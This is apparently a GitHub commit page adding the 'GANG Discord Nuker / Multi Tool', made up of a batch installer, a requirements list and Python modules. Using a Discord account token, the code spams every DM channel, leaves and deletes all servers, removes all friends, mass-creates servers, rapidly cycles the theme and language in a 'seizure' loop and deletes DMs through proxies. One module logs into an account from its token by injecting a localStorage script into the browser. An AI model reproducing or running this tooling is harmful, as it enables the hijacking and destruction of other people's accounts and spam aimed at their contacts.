-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
26 changed files
with
3,616 additions
and
0 deletions.
There are no files selected for viewing
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Empty file.
Large diffs are not rendered by default.
Oops, something went wrong.
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
@echo off | ||
Title Download Modules... | ||
python --version 3>NUL | ||
if errorlevel 1 goto errorNoPython | ||
pip -v>NUL | ||
if errorlevel 1 goto errorNoPip | ||
python -m pip install -r requirements.txt | ||
cls | ||
Title Downloading Modules | ||
echo python GANG.py >> start.bat | ||
start start.bat |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
python-http-client | ||
charset_normalizer | ||
2captcha-python | ||
beautifulsoup4 | ||
pyinstaller | ||
pylibcheck | ||
pyperclip | ||
pyautogui | ||
pypiwin32 | ||
websocket | ||
packaging | ||
requests | ||
datetime | ||
pyfadecolor | ||
requests | ||
selenium | ||
keyboard | ||
colorama | ||
urlopen | ||
colored | ||
discord | ||
asyncio | ||
PyNaCl | ||
easygui | ||
tasksio | ||
pystyle | ||
discum | ||
Cipher | ||
colour | ||
Popen | ||
login | ||
pillow | ||
psutil | ||
emoji | ||
httpx | ||
loads | ||
tqdm | ||
pipe | ||
fore | ||
aes |
Empty file.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,99 @@ | ||
# Coded by ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker | ||
# GANG Discord Nuker / Multi Tool© | ||
# Copyright © 2022 | ||
######################################## | ||
|
||
import os | ||
import random | ||
import requests | ||
import threading | ||
from colorama import Fore | ||
from itertools import cycle | ||
|
||
from pystyle import Add, Center, Anime, Colors, Colorate, Write, System | ||
from utilities.Settings.common import SlowPrint, getheaders, proxy | ||
|
||
|
||
def GANGNUKER_START(token, Server_Name, message_Content): | ||
if threading.active_count() <= 100: | ||
t = threading.Thread(target=CustomSeizure, args=(token, )) | ||
t.start() | ||
|
||
headers = {'Authorization': token} | ||
channelIds = requests.get("https://discord.com/api/v9/users/@me/channels", headers=getheaders(token)).json() | ||
for channel in channelIds: | ||
try: | ||
requests.post(f'https://discord.com/api/v9/channels/'+channel['id']+'/messages', | ||
headers=headers, | ||
data={"content": f"{message_Content}"}) | ||
print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] ID: "+channel['id']) | ||
except Exception as e: | ||
print(f"The following error has been encountered and is being ignored: {e}") | ||
Write.Print(f"\n\nSent Message to ALL friends\n", Colors.purple_to_blue, interval=0.009) | ||
|
||
guildsIds = requests.get("https://discord.com/api/v8/users/@me/guilds", headers=getheaders(token)).json() | ||
for guild in guildsIds: | ||
try: | ||
requests.delete( | ||
f'https://discord.com/api/v8/users/@me/guilds/'+guild['id'], headers={'Authorization': token}) | ||
print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Left Server: "+guild['name']+Fore.RESET) | ||
except Exception as e: | ||
print(f"The following error has been encountered and is being ignored: {e}") | ||
|
||
for guild in guildsIds: | ||
try: | ||
requests.delete(f'https://discord.com/api/v8/guilds/'+guild['id'], headers={'Authorization': token}) | ||
print(f'[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Deleted: '+guild['name']) | ||
except Exception as e: | ||
print(f"The following error has been encountered and is being ignored: {e}") | ||
Write.Print(f"\nLeft / Deleted Guilds\n", Colors.purple_to_blue, interval=0.009) | ||
|
||
friendIds = requests.get("https://discord.com/api/v9/users/@me/relationships", headers=getheaders(token)).json() | ||
for friend in friendIds: | ||
try: | ||
requests.delete( | ||
f'https://discord.com/api/v9/users/@me/relationships/'+friend['id'], headers=getheaders(token)) | ||
print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Removed Friend: "+friend['user']['username']+"#"+friend['user']['discriminator']+Fore.RESET) | ||
except Exception as e: | ||
print(f"The following error has been encountered and is being ignored: {e}") | ||
Write.Print(f"\nRemoved all available friends\n", Colors.purple_to_blue, interval=0.009) | ||
|
||
for i in range(100): | ||
try: | ||
payload = {'name': f'{Server_Name}', 'region': 'europe', 'icon': None, 'channels': None} | ||
requests.post('https://discord.com/api/v9/guilds', headers=getheaders(token), json=payload) | ||
print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Created | {i}{Fore.RESET}") | ||
except Exception as e: | ||
print(f"The following error has been encountered and is being ignored: {e}") | ||
Write.Print(f"\nCreated All Servers\n", Colors.purple_to_blue, interval=0.009) | ||
t.do_run = False | ||
requests.delete("https://discord.com/api/v8/hypesquad/online", headers=getheaders(token)) | ||
setting = { | ||
'theme': "light", | ||
'locale': "ja", | ||
'inline_embed_media': False, | ||
'inline_attachment_media': False, | ||
'gif_auto_play': False, | ||
'enable_tts_command': False, | ||
'render_embeds': False, | ||
'render_reactions': False, | ||
'animate_emoji': False, | ||
'convert_emoticons': False, | ||
'message_display_compact': False, | ||
'explicit_content_filter': '0', | ||
"custom_status": {"text": "GANG-NUKER RUNS ME <3"}, | ||
'status': "idle" | ||
} | ||
requests.patch("https://discord.com/api/v7/users/@me/settings", headers=getheaders(token), json=setting) | ||
j = requests.get("https://discordapp.com/api/v9/users/@me", headers=getheaders(token)).json() | ||
a = j['username'] + "#" + j['discriminator'] | ||
Write.Print(f"\n\nDone, RIP TO THAT ACCOUNT\n", Colors.purple_to_blue, interval=0.009) | ||
print("[ \x1b[95m>\x1b[95m\x1B[37m ] Press ENTER: ", end="") | ||
spammer() | ||
|
||
def CustomSeizure(token): | ||
t = threading.currentThread() | ||
while getattr(t, "do_run", True): | ||
modes = cycle(["light", "dark"]) | ||
setting = {'theme': next(modes), 'locale': random.choice(['ja', 'zh-TW', 'ko', 'zh-CN'])} | ||
requests.patch("https://discord.com/api/v7/users/@me/settings", headers=getheaders(token), json=setting) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,69 @@ | ||
# Coded / Dev: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker | ||
# GANG Discord Nuker / Multi Tool© | ||
# Copyright © 2022 | ||
######################################## | ||
|
||
|
||
import requests | ||
from time import sleep | ||
from colorama import Fore, Back | ||
from selenium import webdriver, common | ||
|
||
from utilities.Settings.common import getDriver, getheaders, SlowPrint | ||
|
||
def TokenLogin(token): | ||
j = requests.get("https://discord.com/api/v9/users/@me", headers=getheaders(token)).json() | ||
user = j["username"] + "#" + str(j["discriminator"]) | ||
script = """ | ||
document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"%s"` | ||
location.reload(); | ||
""" % (token) | ||
type_ = getDriver() | ||
|
||
if type_ == "chromedriver.exe": | ||
opts = webdriver.ChromeOptions() | ||
opts.add_experimental_option('excludeSwitches', ['enable-logging']) | ||
opts.add_experimental_option("detach", True) | ||
try: | ||
driver = webdriver.Chrome(options=opts) | ||
except common.exceptions.SessionNotCreatedException as e: | ||
print(e.msg) | ||
sleep(2) | ||
SlowPrint("Press ENTER: ") | ||
input() | ||
spammer() | ||
elif type_ == "operadriver.exe": | ||
opts = webdriver.opera.options.ChromeOptions() | ||
opts.add_experimental_option('excludeSwitches', ['enable-logging']) | ||
opts.add_experimental_option("detach", True) | ||
try: | ||
driver = webdriver.Opera(options=opts) | ||
except common.exceptions.SessionNotCreatedException as e: | ||
print(e.msg) | ||
sleep(2) | ||
SlowPrint("Press ENTER: ") | ||
input() | ||
spammer() | ||
elif type_ == "msedgedriver.exe": | ||
opts = webdriver.EdgeOptions() | ||
opts.add_experimental_option('excludeSwitches', ['enable-logging']) | ||
opts.add_experimental_option("detach", True) | ||
try: | ||
driver = webdriver.Edge(options=opts) | ||
except common.exceptions.SessionNotCreatedException as e: | ||
print(e.msg) | ||
sleep(2) | ||
SlowPrint(f"[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ") | ||
input() | ||
spammer() | ||
else: | ||
print(f'{Fore.RESET}[{Fore.RED}Error{Fore.RESET}] : Coudln\'t find a suitable driver to automatically login to {user}') | ||
sleep(3) | ||
print(f"{Fore.YELLOW}Paste this script into the console of a browser:{Fore.RESET}\n\n{Back.RED}{script}\n{Back.RESET}") | ||
print("Press ENTER: ", end="") | ||
input() | ||
spammer() | ||
|
||
print(f"\n[\x1b[95m>\x1b[95m\x1B[37m] Logging Into: {user}") | ||
driver.get("https://discordapp.com/login") | ||
driver.execute_script(script) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,20 @@ | ||
# Coded / Dev: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker | ||
# GANG Discord Nuker / Multi Tool© | ||
# Copyright © 2022 | ||
######################################## | ||
|
||
|
||
import requests | ||
from colorama import Fore | ||
|
||
from utilities.Settings.common import * | ||
|
||
def DmDeleter(token, channels): | ||
for channel in channels: | ||
try: | ||
requests.delete(f'https://discord.com/api/v7/channels/'+channel['id'], | ||
proxies=proxy(), | ||
headers=getheaders(token)) | ||
print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Deleted DM: {Fore.WHITE}"+channel['id']+Fore.RESET) | ||
except Exception as e: | ||
print(f"\nERROR | {e}") |
Oops, something went wrong.